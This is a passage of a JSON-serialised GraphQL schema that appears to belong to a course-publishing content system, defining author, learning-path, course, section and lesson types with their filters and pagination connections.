kind":"Name","value":"name"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"path"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}}]},{"kind":"ObjectTypeDefinition","interfaces":[],"directives":[],"name":{"kind":"Name","value":"PageInfo"},"fields":[{"kind":"FieldDefinition","name":{"kind":"Name","value":"hasPreviousPage"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"Boolean"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"hasNextPage"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"Boolean"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"startCursor"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"endCursor"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}}]},{"kind":"InterfaceTypeDefinition","description":{"kind":"StringValue","value":""},"name":{"kind":"Name","value":"Node"},"interfaces":[],"directives":[],"fields":[{"kind":"FieldDefinition","name":{"kind":"Name","value":"id"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"ID"}}}}]},{"kind":"InterfaceTypeDefinition","description":{"kind":"StringValue","value":""},"name":{"kind":"Name","value":"Document"},"interfaces":[],"directives":[],"fields":[{"kind":"FieldDefinition","name":{"kind":"Name","value":"id"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"ID"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"_sys"},"arguments":[],"type":{"kind":"NamedType","name":{"kind":"Name","value":"SystemInfo"}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"_values"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"JSON"}}}}]},{"kind":"InterfaceTypeDefinition","description":{"kind":"StringValue","value":"A relay-compliant pagination connection"},"name":{"kind":"Name","value":"Connection"},"interfaces":[],"directives":[],"fields":[{"kind":"FieldDefinition","name":{"kind":"Name","value":"totalCount"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"Float"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"pageInfo"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"PageInfo"}}}}]},{"kind":"ObjectTypeDefinition","interfaces":[],"directives":[],"name":{"kind":"Name","value":"Query"},"fields":[{"kind":"FieldDefinition","name":{"kind":"Name","value":"getOptimizedQuery"},"arguments":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"queryString"},"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}}],"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"collection"},"arguments":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"collection"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"Collection"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"collections"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"ListType","type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"Collection"}}}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"node"},"arguments":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"id"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"Node"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"document"},"arguments":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"collection"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"relativePath"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"DocumentNode"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"author"},"arguments":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"relativePath"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"Author"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"authorConnection"},"arguments":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"before"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"after"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"first"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"Float"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"last"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"Float"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"sort"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"filter"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"AuthorFilter"}}}],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"AuthorConnection"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"learningPath"},"arguments":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"relativePath"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"LearningPath"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"learningPathConnection"},"arguments":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"before"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"after"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"first"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"Float"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"last"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"Float"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"sort"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"filter"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"LearningPathFilter"}}}],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"LearningPathConnection"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"course"},"arguments":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"relativePath"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"Course"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"courseConnection"},"arguments":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"before"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"after"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"first"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"Float"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"last"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"Float"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"sort"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"filter"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"CourseFilter"}}}],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"CourseConnection"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"globals"},"arguments":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"relativePath"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"Globals"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"globalsConnection"},"arguments":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"before"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"after"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"first"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"Float"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"last"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"Float"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"sort"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"filter"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"GlobalsFilter"}}}],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"GlobalsConnection"}}}}]},{"kind":"InputObjectTypeDefinition","name":{"kind":"Name","value":"DocumentFilter"},"fields":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"author"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"AuthorFilter"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"learningPath"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"LearningPathFilter"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"course"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"CourseFilter"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"globals"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"GlobalsFilter"}}}]},{"kind":"ObjectTypeDefinition","interfaces":[],"directives":[],"name":{"kind":"Name","value":"DocumentConnectionEdges"},"fields":[{"kind":"FieldDefinition","name":{"kind":"Name","value":"cursor"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"node"},"arguments":[],"type":{"kind":"NamedType","name":{"kind":"Name","value":"DocumentNode"}}}]},{"kind":"ObjectTypeDefinition","interfaces":[{"kind":"NamedType","name":{"kind":"Name","value":"Connection"}}],"directives":[],"name":{"kind":"Name","value":"DocumentConnection"},"fields":[{"kind":"FieldDefinition","name":{"kind":"Name","value":"pageInfo"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"PageInfo"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"totalCount"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"Float"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"edges"},"arguments":[],"type":{"kind":"ListType","type":{"kind":"NamedType","name":{"kind":"Name","value":"DocumentConnectionEdges"}}}}]},{"kind":"ObjectTypeDefinition","interfaces":[],"directives":[],"name":{"kind":"Name","value":"Collection"},"fields":[{"kind":"FieldDefinition","name":{"kind":"Name","value":"name"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"slug"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"label"},"arguments":[],"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"path"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"format"},"arguments":[],"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"matches"},"arguments":[],"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"templates"},"arguments":[],"type":{"kind":"ListType","type":{"kind":"NamedType","name":{"kind":"Name","value":"JSON"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"fields"},"arguments":[],"type":{"kind":"ListType","type":{"kind":"NamedType","name":{"kind":"Name","value":"JSON"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"documents"},"arguments":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"before"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"after"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"first"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"Float"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"last"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"Float"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"sort"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"filter"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"DocumentFilter"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"folder"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"DocumentConnection"}}}}]},{"kind":"UnionTypeDefinition","name":{"kind":"Name","value":"DocumentNode"},"directives":[],"types":[{"kind":"NamedType","name":{"kind":"Name","value":"Author"}},{"kind":"NamedType","name":{"kind":"Name","value":"LearningPath"}},{"kind":"NamedType","name":{"kind":"Name","value":"Course"}},{"kind":"NamedType","name":{"kind":"Name","value":"Globals"}},{"kind":"NamedType","name":{"kind":"Name","value":"Folder"}}]},{"kind":"ObjectTypeDefinition","interfaces":[{"kind":"NamedType","name":{"kind":"Name","value":"Node"}},{"kind":"NamedType","name":{"kind":"Name","value":"Document"}}],"directives":[],"name":{"kind":"Name","value":"Author"},"fields":[{"kind":"FieldDefinition","name":{"kind":"Name","value":"authorId"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"name"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"role"},"arguments":[],"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"avatarUrl"},"arguments":[],"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"company"},"arguments":[],"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"id"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"ID"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"_sys"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"SystemInfo"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"_values"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"JSON"}}}}]},{"kind":"InputObjectTypeDefinition","name":{"kind":"Name","value":"StringFilter"},"fields":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"startsWith"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"eq"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"exists"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"Boolean"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"in"},"type":{"kind":"ListType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}}]},{"kind":"InputObjectTypeDefinition","name":{"kind":"Name","value":"AuthorFilter"},"fields":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"authorId"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"StringFilter"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"name"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"StringFilter"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"role"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"StringFilter"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"avatarUrl"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"StringFilter"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"company"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"StringFilter"}}}]},{"kind":"ObjectTypeDefinition","interfaces":[],"directives":[],"name":{"kind":"Name","value":"AuthorConnectionEdges"},"fields":[{"kind":"FieldDefinition","name":{"kind":"Name","value":"cursor"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"node"},"arguments":[],"type":{"kind":"NamedType","name":{"kind":"Name","value":"Author"}}}]},{"kind":"ObjectTypeDefinition","interfaces":[{"kind":"NamedType","name":{"kind":"Name","value":"Connection"}}],"directives":[],"name":{"kind":"Name","value":"AuthorConnection"},"fields":[{"kind":"FieldDefinition","name":{"kind":"Name","value":"pageInfo"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"PageInfo"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"totalCount"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"Float"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"edges"},"arguments":[],"type":{"kind":"ListType","type":{"kind":"NamedType","name":{"kind":"Name","value":"AuthorConnectionEdges"}}}}]},{"kind":"UnionTypeDefinition","name":{"kind":"Name","value":"LearningPathCoursesCourse"},"directives":[],"types":[{"kind":"NamedType","name":{"kind":"Name","value":"Course"}}]},{"kind":"ObjectTypeDefinition","interfaces":[],"directives":[],"name":{"kind":"Name","value":"LearningPathCourses"},"fields":[{"kind":"FieldDefinition","name":{"kind":"Name","value":"course"},"arguments":[],"type":{"kind":"NamedType","name":{"kind":"Name","value":"LearningPathCoursesCourse"}}}]},{"kind":"ObjectTypeDefinition","interfaces":[{"kind":"NamedType","name":{"kind":"Name","value":"Node"}},{"kind":"NamedType","name":{"kind":"Name","value":"Document"}}],"directives":[],"name":{"kind":"Name","value":"LearningPath"},"fields":[{"kind":"FieldDefinition","name":{"kind":"Name","value":"learningPathId"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"title"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"description"},"arguments":[],"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"courses"},"arguments":[],"type":{"kind":"ListType","type":{"kind":"NamedType","name":{"kind":"Name","value":"LearningPathCourses"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"id"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"ID"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"_sys"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"SystemInfo"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"_values"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"JSON"}}}}]},{"kind":"InputObjectTypeDefinition","name":{"kind":"Name","value":"LearningPathCoursesCourseFilter"},"fields":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"course"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"CourseFilter"}}}]},{"kind":"InputObjectTypeDefinition","name":{"kind":"Name","value":"LearningPathCoursesFilter"},"fields":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"course"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"LearningPathCoursesCourseFilter"}}}]},{"kind":"InputObjectTypeDefinition","name":{"kind":"Name","value":"LearningPathFilter"},"fields":[{"kind":"InputValueDefinition","name":{"kind":"Name","value":"learningPathId"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"StringFilter"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"title"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"StringFilter"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"description"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"StringFilter"}}},{"kind":"InputValueDefinition","name":{"kind":"Name","value":"courses"},"type":{"kind":"NamedType","name":{"kind":"Name","value":"LearningPathCoursesFilter"}}}]},{"kind":"ObjectTypeDefinition","interfaces":[],"directives":[],"name":{"kind":"Name","value":"LearningPathConnectionEdges"},"fields":[{"kind":"FieldDefinition","name":{"kind":"Name","value":"cursor"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"node"},"arguments":[],"type":{"kind":"NamedType","name":{"kind":"Name","value":"LearningPath"}}}]},{"kind":"ObjectTypeDefinition","interfaces":[{"kind":"NamedType","name":{"kind":"Name","value":"Connection"}}],"directives":[],"name":{"kind":"Name","value":"LearningPathConnection"},"fields":[{"kind":"FieldDefinition","name":{"kind":"Name","value":"pageInfo"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"PageInfo"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"totalCount"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"Float"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"edges"},"arguments":[],"type":{"kind":"ListType","type":{"kind":"NamedType","name":{"kind":"Name","value":"LearningPathConnectionEdges"}}}}]},{"kind":"UnionTypeDefinition","name":{"kind":"Name","value":"CoursePath"},"directives":[],"types":[{"kind":"NamedType","name":{"kind":"Name","value":"LearningPath"}}]},{"kind":"ObjectTypeDefinition","interfaces":[],"directives":[],"name":{"kind":"Name","value":"CourseOverview"},"fields":[{"kind":"FieldDefinition","name":{"kind":"Name","value":"learnings"},"arguments":[],"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"preRequisites"},"arguments":[],"type":{"kind":"ListType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}}]},{"kind":"UnionTypeDefinition","name":{"kind":"Name","value":"CourseAuthorsAuthor"},"directives":[],"types":[{"kind":"NamedType","name":{"kind":"Name","value":"Author"}}]},{"kind":"ObjectTypeDefinition","interfaces":[],"directives":[],"name":{"kind":"Name","value":"CourseAuthors"},"fields":[{"kind":"FieldDefinition","name":{"kind":"Name","value":"author"},"arguments":[],"type":{"kind":"NamedType","name":{"kind":"Name","value":"CourseAuthorsAuthor"}}}]},{"kind":"ObjectTypeDefinition","interfaces":[],"directives":[],"name":{"kind":"Name","value":"CourseSectionsLessonsUpdates"},"fields":[{"kind":"FieldDefinition","name":{"kind":"Name","value":"title"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"description"},"arguments":[],"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"date"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}}]},{"kind":"ObjectTypeDefinition","interfaces":[],"directives":[],"name":{"kind":"Name","value":"CourseSectionsLessons"},"fields":[{"kind":"FieldDefinition","name":{"kind":"Name","value":"lessonId"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"number"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"Float"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"slug"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"title"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"description"},"arguments":[],"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"duration"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"Float"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"videoUrl"},"arguments":[],"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"rawMarkdownUrl"},"arguments":[],"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"markdownContent"},"arguments":[],"type":{"kind":"NamedType","name":{"kind":"Name","value":"JSON"}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"updates"},"arguments":[],"type":{"kind":"ListType","type":{"kind":"NamedType","name":{"kind":"Name","value":"CourseSectionsLessonsUpdates"}}}}]},{"kind":"ObjectTypeDefinition","interfaces":[],"directives":[],"name":{"kind":"Name","value":"CourseSections"},"fields":[{"kind":"FieldDefinition","name":{"kind":"Name","value":"sectionId"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"number"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"Float"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"slug"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"title"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"lessons"},"arguments":[],"type":{"kind":"ListType","type":{"kind":"NamedType","name":{"kind":"Name","value":"CourseSectionsLessons"}}}}]},{"kind":"ObjectTypeDefinition","interfaces":[{"kind":"NamedType","name":{"kind":"Name","value":"Node"}},{"kind":"NamedType","name":{"kind":"Name","value":"Document"}}],"directives":[],"name":{"kind":"Name","value":"Course"},"fields":[{"kind":"FieldDefinition","name":{"kind":"Name","value":"courseId"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"slug"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"createdAt"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"updatedAt"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"title"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"path"},"arguments":[],"type":{"kind":"NamedType","name":{"kind":"Name","value":"CoursePath"}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"githubUrl"},"arguments":[],"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"previewImg"},"arguments":[],"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"duration"},"arguments":[],"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"Float"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"description"},"arguments":[],"type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"overview"},"arguments":[],"type":{"kind":"NamedType","name":{"kind":"Name","value":"CourseOverview"}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"authors"},"arguments":[],"type":{"kind":"ListType","type":{"kind":"NamedType","name":{"kind":"Name","value":"CourseAuthors"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"sections"},"arguments":[],"type":{"kind":"ListType","type":{"kind":"NamedType","name":{"kind":"Name","value":"CourseSections"}}}},{"kind":"FieldDefinition","name":{"kind":"Name","value":"id"},"arguments":